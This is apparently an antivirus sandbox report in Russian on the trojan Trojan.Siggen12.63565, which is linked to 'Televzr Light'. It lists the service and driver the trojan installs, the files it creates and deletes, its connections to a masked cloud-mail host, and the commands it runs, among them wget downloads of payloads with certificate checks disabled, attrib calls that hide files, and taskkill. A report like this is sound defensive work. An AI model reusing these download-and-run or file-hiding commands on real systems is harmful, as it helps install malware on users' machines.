Trojan.Siggen12.63565

Техническая информация

Для обеспечения автозапуска и распространения

Устанавливает следующие настройки сервисов

[<HKLM>\System\CurrentControlSet\Services\SNAPSHOD0] 'ImagePath' = '<DRIVERS>\SNAPSHOD0.sys'

Создает следующие сервисы

'SNAPSHOD0' <DRIVERS>\SNAPSHOD0.sys

Вредоносные функции

Запускает на исполнение

'%WINDIR%\syswow64\taskkill.exe' /im "<Имя файла>.exe" /F
'%WINDIR%\syswow64\taskkill.exe' /im SnapShot.Exe /F

Изменения в файловой системе

Создает следующие файлы

%TEMP%\televzrlight.bat
u:\televzrlight\resources.pak
u:\televzrlight\resources\app-update.yml
u:\televzrlight\resources\app.asar
u:\televzrlight\resources\app.asar.unpacked\bundle\7f8b663e6218621b36b1867f8f2ff543.ico
u:\televzrlight\resources\app.asar.unpacked\bundle\c0edcf9115ff85441b19ff0e2f387c2d.ico
u:\televzrlight\snapshot_blob.bin
u:\televzrlight\v8_context_snapshot.bin
u:\televzrlight\vk_swiftshader_icd.json
u:\televzrlight\licenses.chromium.html
u:\televzrlight\locales\ru.pak
u:\televzrlight\d3dcompiler_47.dll
u:\televzrlight\libglesv2.dll
u:\televzrlight\resources\bin_ia32\ffmpeg.exe
u:\televzrlight\resources\bin_ia32\ffprobe.exe
u:\televzrlight\resources\bin_ia32\youtube-dl.exe
u:\televzrlight\resources\elevate.exe
u:\televzrlight\swiftshader\libegl.dll
u:\televzrlight\swiftshader\libglesv2.dll
u:\televzrlight\televlight.exe
u:\televzrlight\ffmpeg.dll
u:\televzrlight\libegl.dll
u:\televzrlight\license.electron.txt
u:\televzrlight\icudtl.dat
u:\televzrlight\chrome_200_percent.pak
%TEMP%\ok.js
%TEMP%\wz.bat
nul
%TEMP%\2mvpt9fx1
%TEMP%\rd.sna
%TEMP%\wg.bat
%TEMP%\4wvhh5s1u
<DRIVERS>\snapshod0.sys
%TEMP%\8televzrlight.#
%TEMP%\wget.exe
%TEMP%\7televzrlight.#
%TEMP%\4televzrlight.#
%TEMP%\2televzrlight.#
%TEMP%\5televzrlight.#
%TEMP%\3televzrlight.#
%WINDIR%\temp\udda0e.tmp
%TEMP%\1televzrlight.#
%TEMP%\conf1televzrlight
%TEMP%\123televzrlight.exe
u:\televzrlight\chrome_100_percent.pak
%TEMP%\6televzrlight.#
u:\televzrlight\vk_swiftshader.dll
u:\televzrlight\vulkan-1.dll

Удаляет следующие файлы

%TEMP%\ok.js
%WINDIR%\temp\udda0e.tmp
%TEMP%\1televzrlight.#
%TEMP%\2televzrlight.#
%TEMP%\3televzrlight.#
%TEMP%\4televzrlight.#
%TEMP%\5televzrlight.#
%TEMP%\6televzrlight.#
%TEMP%\7televzrlight.#
%TEMP%\8televzrlight.#
%TEMP%\4wvhh5s1utelevzrlight
%TEMP%\conf1televzrlight
%TEMP%\wget.exe
%TEMP%\123televzrlight.exe

Перемещает следующие файлы

%TEMP%\2mvpt9fx1 в %TEMP%\snapshot.exe
%TEMP%\4wvhh5s1u в %TEMP%\4wvhh5s1utelevzrlight

Подменяет следующие файлы

%TEMP%\ok.js

Сетевая активность

Подключается к

'cl######.datacloudmail.ru':80
'cl######.datacloudmail.ru':443

TCP

'cl######.datacloudmail.ru':443

UDP

DNS ASK cl######.datacloudmail.ru

Другое

Ищет следующие окна

ClassName: '' WindowName: ''
ClassName: '' WindowName: '1174094/1240'
ClassName: '' WindowName: '1174359/2412'
ClassName: 'Chrome_MessageWindow' WindowName: '%APPDATA%\Televzr Light'

Создает и запускает на исполнение

'%TEMP%\wget.exe' --no-check-certificate --output-document=4TelevzrLight.# http://cl######.datacloudmail.ru/weblink/get/2Ho6/4Hyf3s1K8
'u:\televzrlight\televlight.exe' --type=utility --field-trial-handle=1168,3857680795091126992,5143947144401809858,131072 --enable-features=WebComponentsV0Enabled --disable-features=HardwareMediaKeyHandling,SpareRendererForSite...
'u:\televzrlight\televlight.exe'
'%TEMP%\123televzrlight.exe'
'%TEMP%\wget.exe' --no-check-certificate --output-document=7TelevzrLight.# http://cl######.datacloudmail.ru/weblink/get/3Wm4/5HmmAPQhB
'%TEMP%\wget.exe' --no-check-certificate --output-document=8TelevzrLight.# http://cl######.datacloudmail.ru/weblink/get/2PvF/3d6Dr8kpv
'%TEMP%\wget.exe' --no-check-certificate --output-document=6TelevzrLight.# http://cl######.datacloudmail.ru/weblink/get/2MFa/Nc2dFhXQU
'%TEMP%\wget.exe' --no-check-certificate --output-document=5TelevzrLight.# http://cl######.datacloudmail.ru/weblink/get/3zKf/33SUMH8LK
'u:\televzrlight\televlight.exe' --type=gpu-process --field-trial-handle=1168,3857680795091126992,5143947144401809858,131072 --enable-features=WebComponentsV0Enabled --disable-features=HardwareMediaKeyHandling,SpareRendererFor...
'%TEMP%\wget.exe' --no-check-certificate --output-document=1TelevzrLight.# http://cl######.datacloudmail.ru/weblink/get/5yGn/4PKJoMVjZ
'%TEMP%\wget.exe' --no-check-certificate http://cl######.datacloudmail.ru/weblink/get/3egv/4Wvhh5S1u
'%TEMP%\snapshot.exe' Rd.Sna U: -vq
'%TEMP%\snapshot.exe' -!unmount
'%TEMP%\wget.exe' --no-check-certificate --output-document=Rd.Sna http://cl######.datacloudmail.ru/weblink/get/2gXn/hH5sR16jd
'%TEMP%\wget.exe' --no-check-certificate http://cl######.datacloudmail.ru/weblink/get/3FZq/2MVPt9fx1
'%TEMP%\wget.exe' --no-check-certificate --output-document=3TelevzrLight.# http://cl######.datacloudmail.ru/weblink/get/5tTD/3oZrDRiwB
'%TEMP%\wget.exe' --no-check-certificate --output-document=2TelevzrLight.# http://cl######.datacloudmail.ru/weblink/get/4GSQ/3TZADfSLX
'%WINDIR%\syswow64\reg.exe' QUERY HKCU\SOFTWARE\Televzr /v userid' (со скрытым окном)
'%WINDIR%\syswow64\reg.exe' QUERY "HKCU\SOFTWARE\Televzr Light" /v vid' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\TelevzrLight.Bat" "<Полный путь к файлу>" "<Текущая директория>" "<Имя файла>.exe" "%LOCALAPPDATA%\Temp" "' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\TelevzrLight.Bat" "<Полный путь к файлу>" "<Текущая директория>" "<Имя файла>.exe" "%LOCALAPPDATA%\Temp" "
'%WINDIR%\syswow64\cmd.exe' /c tasklist /nh /fo csv /v | find /i "Televzr Light"
'%WINDIR%\syswow64\reg.exe' QUERY "HKCU\SOFTWARE\Televzr Light" /v vid
'%WINDIR%\syswow64\reg.exe' QUERY HKCU\SOFTWARE\Televzr /v userid
'%WINDIR%\syswow64\ping.exe' -n 4 localhost
'%WINDIR%\syswow64\attrib.exe' -r %TEMP%\wz.bat
'%WINDIR%\syswow64\find.exe' /i "Wget.Exe"
'%WINDIR%\syswow64\tasklist.exe' /fi "IMAGENAME eq Wget.Exe"
'%WINDIR%\syswow64\find.exe' /i "Televzr Light"
'%WINDIR%\syswow64\ping.exe' -n 2 localhost
'%WINDIR%\syswow64\attrib.exe' +r SnapShot.Exe
'%WINDIR%\syswow64\attrib.exe' +a +r +h +s SnapShod0.Sys
'%WINDIR%\syswow64\ping.exe' -n 6 localhost
'%WINDIR%\syswow64\cmd.exe' /K wz.bat
'%WINDIR%\syswow64\attrib.exe' +r wz.bat
'%WINDIR%\syswow64\cscript.exe' Ok.Js //Nologo
'%WINDIR%\syswow64\attrib.exe' +r TelevzrLight.Bat
'%WINDIR%\syswow64\cmd.exe' /K wg.bat
'%WINDIR%\syswow64\tasklist.exe' /nh /fo csv /v